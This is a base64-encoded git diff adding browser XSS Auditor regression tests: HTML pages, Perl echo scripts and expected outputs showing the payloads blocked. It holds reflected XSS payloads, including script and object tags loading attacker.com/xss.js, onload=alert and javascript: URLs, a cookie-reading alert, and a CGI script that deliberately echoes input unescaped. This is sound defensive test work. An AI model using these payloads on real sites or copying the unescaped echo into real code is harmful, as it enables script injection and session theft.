dXJpdHkveHNzQXVkaXRvci9pZnJhbWUtaW5qZWN0aW9uLWV4cGVjdGVkLnR4dApuZXcgZmlsZSBt
b2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
Li42NDJmYzdiMGQ3MWViYmQ2Yjc5YWZlMjcxYjJhZDIxNTU1NTQwODZlCi0tLSAvZGV2L251bGwK
KysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2lmcmFtZS1p
bmplY3Rpb24tZXhwZWN0ZWQudHh0CkBAIC0wLDAgKzEsMiBAQAorQmxvY2tlZCBhY2Nlc3MgdG8g
ZXh0ZXJuYWwgVVJMIGh0dHA6Ly9hdHRhY2tlci5jb20vCisKZGlmZiAtLWdpdCBhL0xheW91dFRl
c3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9pZnJhbWUtaW5qZWN0aW9uLmh0bWwg
Yi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvaWZyYW1lLWluamVj
dGlvbi5odG1sCm5ldyBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAuLjc0ZGY3N2RmZGE5M2IxODJhNjRjNzdjYjdiNDM3NzJiMjZi
NDhlNGIKLS0tIC9kZXYvbnVsbAorKysgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5
L3hzc0F1ZGl0b3IvaWZyYW1lLWluamVjdGlvbi5odG1sCkBAIC0wLDAgKzEsMTUgQEAKKzwhRE9D
VFlQRSBodG1sPgorPGh0bWw+Cis8aGVhZD4KKzxzY3JpcHQ+CitpZiAod2luZG93LmxheW91dFRl
c3RDb250cm9sbGVyKSB7CisgIGxheW91dFRlc3RDb250cm9sbGVyLmR1bXBBc1RleHQoKTsKKyAg
bGF5b3V0VGVzdENvbnRyb2xsZXIuc2V0WFNTQXVkaXRvckVuYWJsZWQodHJ1ZSk7Cit9Cis8L3Nj
cmlwdD4KKzwvaGVhZD4KKzxib2R5PgorPGlmcmFtZSBzcmM9Imh0dHA6Ly9sb2NhbGhvc3Q6ODAw
MC9zZWN1cml0eS94c3NBdWRpdG9yL3Jlc291cmNlcy9lY2hvLWludGVydGFnLnBsP3E9PGlmcmFt
ZSUyMHNyYz0naHR0cDovL2F0dGFja2VyLmNvbS8nPjwvaWZyYW1lPiI+Cis8L2lmcmFtZT4KKzwv
Ym9keT4KKzwvaHRtbD4KZGlmZiAtLWdpdCBhL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJp
dHkveHNzQXVkaXRvci9pZnJhbWUtamF2YXNjcmlwdC11cmwtbW9yZS1lbmNvZGluZy1leHBlY3Rl
ZC50eHQgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvaWZyYW1l
LWphdmFzY3JpcHQtdXJsLW1vcmUtZW5jb2RpbmctZXhwZWN0ZWQudHh0Cm5ldyBmaWxlIG1vZGUg
MTAwNjQ0CmluZGV4IDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAuLjUx
M2UyZjhkMDNmNzQyMDNhMzVlMGJlZWQxZmQ0M2I0MzI5MmRjMmYKLS0tIC9kZXYvbnVsbAorKysg
Yi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvaWZyYW1lLWphdmFz
Y3JpcHQtdXJsLW1vcmUtZW5jb2RpbmctZXhwZWN0ZWQudHh0CkBAIC0wLDAgKzEsMyBAQAorQ09O
U09MRSBNRVNTQUdFOiBsaW5lIDE6IFJlZnVzZWQgdG8gZXhlY3V0ZSBhIEphdmFTY3JpcHQgc2Ny
aXB0LiBTb3VyY2UgY29kZSBvZiBzY3JpcHQgZm91bmQgd2l0aGluIHJlcXVlc3QuCisKKwpkaWZm
IC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2lmcmFt
ZS1qYXZhc2NyaXB0LXVybC1tb3JlLWVuY29kaW5nLmh0bWwgYi9MYXlvdXRUZXN0cy9odHRwL3Rl
c3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvaWZyYW1lLWphdmFzY3JpcHQtdXJsLW1vcmUtZW5jb2Rp
bmcuaHRtbApuZXcgZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwLi4wMGMzYjFiMmMxZDQ5ZGYwZWNlZWVjOWM0MjMxZWRjOWM2NTlm
OTc2Ci0tLSAvZGV2L251bGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94
c3NBdWRpdG9yL2lmcmFtZS1qYXZhc2NyaXB0LXVybC1tb3JlLWVuY29kaW5nLmh0bWwKQEAgLTAs
MCArMSwxNSBAQAorPCFET0NUWVBFIGh0bWw+Cis8aHRtbD4KKzxoZWFkPgorPHNjcmlwdD4KK2lm
ICh3aW5kb3cubGF5b3V0VGVzdENvbnRyb2xsZXIpIHsKKyAgbGF5b3V0VGVzdENvbnRyb2xsZXIu
ZHVtcEFzVGV4dCgpOworICBsYXlvdXRUZXN0Q29udHJvbGxlci5zZXRYU1NBdWRpdG9yRW5hYmxl
ZCh0cnVlKTsKK30KKzwvc2NyaXB0PgorPC9oZWFkPgorPGJvZHk+Cis8aWZyYW1lIHNyYz0iaHR0
cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8taW50
ZXJ0YWcucGw/cT08SUZSQU1FJTIwc3JjPSdqYXZhc2NyaXB0OmFsZXJ0JTI2JTIzeDI1JTNCMjgx
KSc+IjwvaWZyYW1lPgorPC9pZnJhbWU+Cis8L2JvZHk+Cis8L2h0bWw+CmRpZmYgLS1naXQgYS9M
YXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5r
LW9uZS1wbHVzLW9uZS1leHBlY3RlZC50eHQgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3Vy
aXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLW9uZS1wbHVzLW9uZS1leHBlY3RlZC50eHQK
bmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMC4uNTEzZTJmOGQwM2Y3NDIwM2EzNWUwYmVlZDFmZDQzYjQzMjkyZGMyZgotLS0g
L2Rldi9udWxsCisrKyBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRv
ci9qYXZhc2NyaXB0LWxpbmstb25lLXBsdXMtb25lLWV4cGVjdGVkLnR4dApAQCAtMCwwICsxLDMg
QEAKK0NPTlNPTEUgTUVTU0FHRTogbGluZSAxOiBSZWZ1c2VkIHRvIGV4ZWN1dGUgYSBKYXZhU2Ny
aXB0IHNjcmlwdC4gU291cmNlIGNvZGUgb2Ygc2NyaXB0IGZvdW5kIHdpdGhpbiByZXF1ZXN0Lgor
CisKZGlmZiAtLWdpdCBhL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRv
ci9qYXZhc2NyaXB0LWxpbmstb25lLXBsdXMtb25lLmh0bWwgYi9MYXlvdXRUZXN0cy9odHRwL3Rl
c3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLW9uZS1wbHVzLW9uZS5odG1s
Cm5ldyBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAuLjZjYzRmZjVlMjViNzYyNTg4M2RlZjMxMWE4ZmI5Yzc5YWNhYzViNDEKLS0t
IC9kZXYvbnVsbAorKysgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0
b3IvamF2YXNjcmlwdC1saW5rLW9uZS1wbHVzLW9uZS5odG1sCkBAIC0wLDAgKzEsMTYgQEAKKzwh
RE9DVFlQRSBodG1sPgorPGh0bWw+Cis8aGVhZD4KKzxzY3JpcHQ+CitpZiAod2luZG93LmxheW91
dFRlc3RDb250cm9sbGVyKSB7CisgICAgbGF5b3V0VGVzdENvbnRyb2xsZXIuZHVtcEFzVGV4dCgp
OworICAgIGxheW91dFRlc3RDb250cm9sbGVyLndhaXRVbnRpbERvbmUoKTsKKyAgICBsYXlvdXRU
ZXN0Q29udHJvbGxlci5zZXRYU1NBdWRpdG9yRW5hYmxlZCh0cnVlKTsKK30KKzwvc2NyaXB0Pgor
PC9oZWFkPgorPGJvZHk+Cis8aWZyYW1lIHNyYz0naHR0cDovL2xvY2FsaG9zdDo4MDAwL3NlY3Vy
aXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8taW50ZXJ0YWctY2xpY2stYW5kLW5vdGlmeS5w
bD9lbG1pZD1hbmNob3JMaW5rJnE9JTNDYStpZCUzRGFuY2hvckxpbmsraHJlZiUzRGphdmFzY3Jp
cHQlM0FhbGVydCUyOC9YU1MvJTI5JTNFdGVzdCUzQy9hJTNFJz4KKzwvaWZyYW1lPgorPC9ib2R5
PgorPC9odG1sPgpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94
c3NBdWRpdG9yL29wZW4tYXR0cmlidXRlLWJvZHktZXhwZWN0ZWQudHh0IGIvTGF5b3V0VGVzdHMv
aHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4tYXR0cmlidXRlLWJvZHktZXhwZWN0
ZWQudHh0Cm5ldyBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAuLmIzZGIxYTMxNDQyMzlhMjc0ZTQ3ZGViNTJmNzhjNDZhYzExMmYz
NjAKLS0tIC9kZXYvbnVsbAorKysgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hz
c0F1ZGl0b3Ivb3Blbi1hdHRyaWJ1dGUtYm9keS1leHBlY3RlZC50eHQKQEAgLTAsMCArMSwyIEBA
CitBTEVSVDogMQorCmRpZmYgLS1naXQgYS9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5
L3hzc0F1ZGl0b3Ivb3Blbi1hdHRyaWJ1dGUtYm9keS5odG1sIGIvTGF5b3V0VGVzdHMvaHR0cC90
ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4tYXR0cmlidXRlLWJvZHkuaHRtbApuZXcgZmls
ZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwLi45OTFiNGIzNWUyNjAxOGE2ZGM1YzU5YjkzZWFjMzI3ZTQ0NWNkY2Q3Ci0tLSAvZGV2L251
bGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4t
YXR0cmlidXRlLWJvZHkuaHRtbApAQCAtMCwwICsxLDE1IEBACis8IURPQ1RZUEUgaHRtbD4KKzxo
dG1sPgorPGhlYWQ+Cis8c2NyaXB0PgoraWYgKHdpbmRvdy5sYXlvdXRUZXN0Q29udHJvbGxlcikg
eworICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNUZXh0KCk7CisgIGxheW91dFRlc3RDb250
cm9sbGVyLnNldFhTU0F1ZGl0b3JFbmFibGVkKHRydWUpOworfQorPC9zY3JpcHQ+Cis8L2hlYWQ+
Cis8Ym9keT4KKzxpZnJhbWUgc3JjPSJodHRwOi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkveHNz
QXVkaXRvci9yZXNvdXJjZXMvZWNoby1wcm9wZXJ0eS5wbD9xPSUyMiUyMG9ubG9hZD1hbGVydCgx
KS8vIj4KKzwvaWZyYW1lPgorPC9ib2R5PgorPC9odG1sPgpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVz
dHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4tZXZlbnQtaGFuZGxlci1pZnJh
bWUtZXhwZWN0ZWQudHh0IGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRp
dG9yL29wZW4tZXZlbnQtaGFuZGxlci1pZnJhbWUtZXhwZWN0ZWQudHh0Cm5ldyBmaWxlIG1vZGUg
MTAwNjQ0CmluZGV4IDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAuLmIz
ZGIxYTMxNDQyMzlhMjc0ZTQ3ZGViNTJmNzhjNDZhYzExMmYzNjAKLS0tIC9kZXYvbnVsbAorKysg
Yi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivb3Blbi1ldmVudC1o
YW5kbGVyLWlmcmFtZS1leHBlY3RlZC50eHQKQEAgLTAsMCArMSwyIEBACitBTEVSVDogMQorCmRp
ZmYgLS1naXQgYS9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivb3Bl
bi1ldmVudC1oYW5kbGVyLWlmcmFtZS5odG1sIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1
cml0eS94c3NBdWRpdG9yL29wZW4tZXZlbnQtaGFuZGxlci1pZnJhbWUuaHRtbApuZXcgZmlsZSBt
b2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
Li4xNWE2YjgyM2MzOThiZTc5ZjExZmY4MWI0NTk3NzFmZTQ5ZTcwMGQ5Ci0tLSAvZGV2L251bGwK
KysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4tZXZl
bnQtaGFuZGxlci1pZnJhbWUuaHRtbApAQCAtMCwwICsxLDE1IEBACis8IURPQ1RZUEUgaHRtbD4K
KzxodG1sPgorPGhlYWQ+Cis8c2NyaXB0PgoraWYgKHdpbmRvdy5sYXlvdXRUZXN0Q29udHJvbGxl
cikgeworICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNUZXh0KCk7CisgIGxheW91dFRlc3RD
b250cm9sbGVyLnNldFhTU0F1ZGl0b3JFbmFibGVkKHRydWUpOworfQorPC9zY3JpcHQ+Cis8L2hl
YWQ+Cis8Ym9keT4KKzxpZnJhbWUgc3JjPSJodHRwOi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkv
eHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy5wbD9xPTxpZnJhbWUlMjBvbmxvYWQ9
YWxlcnQoMSkvLyI+Cis8L2lmcmFtZT4KKzwvYm9keT4KKzwvaHRtbD4KZGlmZiAtLWdpdCBhL0xh
eW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9vcGVuLWlmcmFtZS1zcmMt
ZXhwZWN0ZWQudHh0IGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9y
L29wZW4taWZyYW1lLXNyYy1leHBlY3RlZC50eHQKbmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXgg
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC4uOGQxYzhiNjljM2ZjZTdi
ZWE0NWM3M2VmZDA2OTgzZTNjNDE5YTkyZgotLS0gL2Rldi9udWxsCisrKyBiL0xheW91dFRlc3Rz
L2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9vcGVuLWlmcmFtZS1zcmMtZXhwZWN0ZWQu
dHh0CkBAIC0wLDAgKzEgQEAKKyAKZGlmZiAtLWdpdCBhL0xheW91dFRlc3RzL2h0dHAvdGVzdHMv
c2VjdXJpdHkveHNzQXVkaXRvci9vcGVuLWlmcmFtZS1zcmMuaHRtbCBiL0xheW91dFRlc3RzL2h0
dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9vcGVuLWlmcmFtZS1zcmMuaHRtbApuZXcgZmls
ZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwLi4zM2I4Y2Q3ZDFhZWFlODdiMmVjYzM5YTE1ZjQzNDhlMTAzYmRiMDQxCi0tLSAvZGV2L251
bGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4t
aWZyYW1lLXNyYy5odG1sCkBAIC0wLDAgKzEsMTUgQEAKKzwhRE9DVFlQRSBodG1sPgorPGh0bWw+
Cis8aGVhZD4KKzxzY3JpcHQ+CitpZiAod2luZG93LmxheW91dFRlc3RDb250cm9sbGVyKSB7Cisg
IGxheW91dFRlc3RDb250cm9sbGVyLmR1bXBBc1RleHQoKTsKKyAgbGF5b3V0VGVzdENvbnRyb2xs
ZXIuc2V0WFNTQXVkaXRvckVuYWJsZWQodHJ1ZSk7Cit9Cis8L3NjcmlwdD4KKzwvaGVhZD4KKzxi
b2R5PgorPGlmcmFtZSBzcmM9Imh0dHA6Ly9sb2NhbGhvc3Q6ODAwMC9zZWN1cml0eS94c3NBdWRp
dG9yL3Jlc291cmNlcy9lY2hvLWluc3Bhbi5wbD9xPTxpZnJhbWUlMjBzcmM9amF2YXNjcmlwdDph
bGVydCgxKSUzQi8vPiI+PC9pZnJhbWU+Cis8aWZyYW1lIHNyYz0iaHR0cDovL2xvY2FsaG9zdDo4
MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8taW5zcGFuLnBsP3E9PGlmcmFt
ZSUyMHNyYz1qYXZhc2NyaXB0OmFsZXJ0KDEpJTNCLy8iPjwvaWZyYW1lPgorPC9ib2R5PgorPC9o
dG1sPgpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRp
dG9yL29wZW4tc2NyaXB0LXNyYy1leHBlY3RlZC50eHQgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3Rz
L3NlY3VyaXR5L3hzc0F1ZGl0b3Ivb3Blbi1zY3JpcHQtc3JjLWV4cGVjdGVkLnR4dApuZXcgZmls
ZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwLi5iYWM5YzcxNGQ0YTc5MzAwNTNhZWU5YWE4YTMxMWRiMmU0YzFhZjNiCi0tLSAvZGV2L251
bGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4t
c2NyaXB0LXNyYy1leHBlY3RlZC50eHQKQEAgLTAsMCArMSBAQAorICAgCmRpZmYgLS1naXQgYS9M
YXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivb3Blbi1zY3JpcHQtc3Jj
Lmh0bWwgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivb3Blbi1z
Y3JpcHQtc3JjLmh0bWwKbmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC4uZDYyNGU3NDE5ZWY0MDAzMDgyMzRhNTNhN2E4ZDYy
YmIzMDFlMzVkOQotLS0gL2Rldi9udWxsCisrKyBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2Vj
dXJpdHkveHNzQXVkaXRvci9vcGVuLXNjcmlwdC1zcmMuaHRtbApAQCAtMCwwICsxLDE3IEBACis8
IURPQ1RZUEUgaHRtbD4KKzxodG1sPgorPGhlYWQ+Cis8c2NyaXB0PgoraWYgKHdpbmRvdy5sYXlv
dXRUZXN0Q29udHJvbGxlcikgeworICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNUZXh0KCk7
CisgIGxheW91dFRlc3RDb250cm9sbGVyLnNldFhTU0F1ZGl0b3JFbmFibGVkKHRydWUpOworfQor
PC9zY3JpcHQ+Cis8L2hlYWQ+Cis8Ym9keT4KKzxpZnJhbWUgc3JjPSJodHRwOi8vbG9jYWxob3N0
OjgwMDAvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnNwYW4ucGw/cT08c2Ny
aXB0JTIwc3JjPWh0dHA6Ly9hdHRhY2tlci5jb20veHNzLmpzPz4iPjwvaWZyYW1lPgorPGlmcmFt
ZSBzcmM9Imh0dHA6Ly9sb2NhbGhvc3Q6ODAwMC9zZWN1cml0eS94c3NBdWRpdG9yL3Jlc291cmNl
cy9lY2hvLWluc3Bhbi5wbD9xPTxzY3JpcHQlMjBzcmM9aHR0cDovL2F0dGFja2VyLmNvbS94c3Mu
anM/Ij48L2lmcmFtZT4KKzxpZnJhbWUgc3JjPSJodHRwOi8vbG9jYWxob3N0OjgwMDAvc2VjdXJp
dHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnNwYW4ucGw/cT08b2JqZWN0JTIwZGF0YT1o
dHRwOi8vYXR0YWNrZXIuY29tL3hzcy5qcz8+Ij48L2lmcmFtZT4KKzxpZnJhbWUgc3JjPSJodHRw
Oi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnNw
YW4ucGw/cT08b2JqZWN0JTIwZGF0YT1odHRwOi8vYXR0YWNrZXIuY29tL3hzcy5qcz8iPjwvaWZy
YW1lPgorPC9ib2R5PgorPC9odG1sPgpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0
cy9zZWN1cml0eS94c3NBdWRpdG9yL3Jlc291cmNlcy9lY2hvLWluc3Bhbi5wbCBiL0xheW91dFRl
c3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnNwYW4u
cGwKbmV3IGZpbGUgbW9kZSAxMDA3NTUKaW5kZXggMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMC4uMzJiODI4NzYyNmZmOTc1OWE1YmU4NWIxZTAyNDZlYWQ2YjY4MWVhMQot
LS0gL2Rldi9udWxsCisrKyBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVk
aXRvci9yZXNvdXJjZXMvZWNoby1pbnNwYW4ucGwKQEAgLTAsMCArMSwxNyBAQAorIyEvdXNyL2Jp
bi9wZXJsIC13VAordXNlIHN0cmljdDsKK3VzZSBDR0k7CisKK215ICRjZ2kgPSBuZXcgQ0dJOwor
CitwcmludCAiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLThcblxuIjsKKwor
cHJpbnQgIjxodG1sPlxuIjsKK3ByaW50ICI8aGVhZD5cbiI7CitwcmludCAnPG1ldGEgaHR0cC1l
cXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7Y2hhcnNldD1VVEYtOCI+XG4n
OworcHJpbnQgIjwvaGVhZD5cbiI7CitwcmludCAiPGJvZHk+XG4iOworcHJpbnQgIjxzcGFuPiIK
K3ByaW50ICRjZ2ktPnBhcmFtKCdxJyk7CitwcmludCAiPC9zcGFuPmhpIHRoZXJlPHNjcmlwdD5o
ZWxsbz0xOzwvc2NyaXB0PlxuIjsKK3ByaW50ICI8L2JvZHk+PC9odG1sPlxuIjsKZGlmZiAtLWdp
dCBhL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMv
ZWNoby1pbnRlcnRhZy5wbCBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVk
aXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy5wbAppbmRleCA3ZjQzMDE5YmQyOGFhZTU1OTk0
YzJiNTA4N2JmOWYxY2YyZTRjYjhmLi4yOWVhZjE3ZjM3OTY1NmNkMjc3YzNiMWI0ZDM2NDk1ZTQ5
NmIzY2QyIDEwMDc1NQotLS0gYS9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1
ZGl0b3IvcmVzb3VyY2VzL2VjaG8taW50ZXJ0YWcucGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90
ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3Jlc291cmNlcy9lY2hvLWludGVydGFnLnBsCkBAIC0z
OCw1ICszOCw4IEBAIGlmICgkY2dpLT5wYXJhbSgnbm90aWZ5RG9uZScpKSB7CiBpZiAoJGNnaS0+
cGFyYW0oJ2VuYWJsZS1mdWxsLWJsb2NrJykpIHsKICAgICBwcmludCAiPHA+SWYgeW91IHNlZSB0
aGlzIG1lc3NhZ2UgdGhlbiB0aGUgdGVzdCBGQUlMRUQuPC9wPlxuIjsKIH0KK2lmICgkY2dpLT5w
YXJhbSgnYWxlcnQtY29va2llJykpIHsKKyAgICBwcmludCAiPHNjcmlwdD5hbGVydCgnY29va2ll
OiAnICsgZG9jdW1lbnQuY29va2llKTsgZG9jdW1lbnQuY29va2llID0gJ3Rlc3Rjb29raWU9cmVt
b3ZlOyBtYXgtYWdlPS0xJzs8L3NjcmlwdD5cbiI7Cit9CiBwcmludCAiPC9ib2R5PlxuIjsKIHBy
aW50ICI8L2h0bWw+XG4iOwpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1
cml0eS94c3NBdWRpdG9yL3NjcmlwdC10YWctd2l0aC1mYW5jeS11bmljb2RlLWV4cGVjdGVkLnR4
dCBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFn
LXdpdGgtZmFuY3ktdW5pY29kZS1leHBlY3RlZC50eHQKbmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5k
ZXggMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC4uMzE1ZjEwNjFiYWQy
YjEwNjJlOTE0ZWUwMzlhMjE0OTczZWNmOTdhNAotLS0gL2Rldi9udWxsCisrKyBiL0xheW91dFRl
c3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtZmFuY3kt
dW5pY29kZS1leHBlY3RlZC50eHQKQEAgLTAsMCArMSwyIEBACitBTEVSVDogL1hTUy8KKwpkaWZm
IC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3Njcmlw
dC10YWctd2l0aC1mYW5jeS11bmljb2RlLmh0bWwgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3Nl
Y3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLWZhbmN5LXVuaWNvZGUuaHRtbApuZXcg
ZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwLi5iYmZhNDZmZDQ4NjE0NDBlZmM3ODcwNWU3NWQ4YmUxMGIzM2Y5MTVmCi0tLSAvZGV2
L251bGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3Nj
cmlwdC10YWctd2l0aC1mYW5jeS11bmljb2RlLmh0bWwKQEAgLTAsMCArMSwxNSBAQAorPCFET0NU
WVBFIGh0bWw+Cis8aHRtbD4KKzxoZWFkPgorPHNjcmlwdD4KK2lmICh3aW5kb3cubGF5b3V0VGVz
dENvbnRyb2xsZXIpIHsKKyAgbGF5b3V0VGVzdENvbnRyb2xsZXIuZHVtcEFzVGV4dCgpOworICBs
YXlvdXRUZXN0Q29udHJvbGxlci5zZXRYU1NBdWRpdG9yRW5hYmxlZCh0cnVlKTsKK30KKzwvc2Ny
aXB0PgorPC9oZWFkPgorPGJvZHk+Cis8aWZyYW1lIHNyYz0iaHR0cDovL2xvY2FsaG9zdDo4MDAw
L3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8taW50ZXJ0YWcucGw/cT08c2NyaXB0
PiV1MDA2MWxlcnQoL1hTUy8pPC9zY3JpcHQ+Ij4KKzwvaWZyYW1lPgorPC9ib2R5PgorPC9odG1s
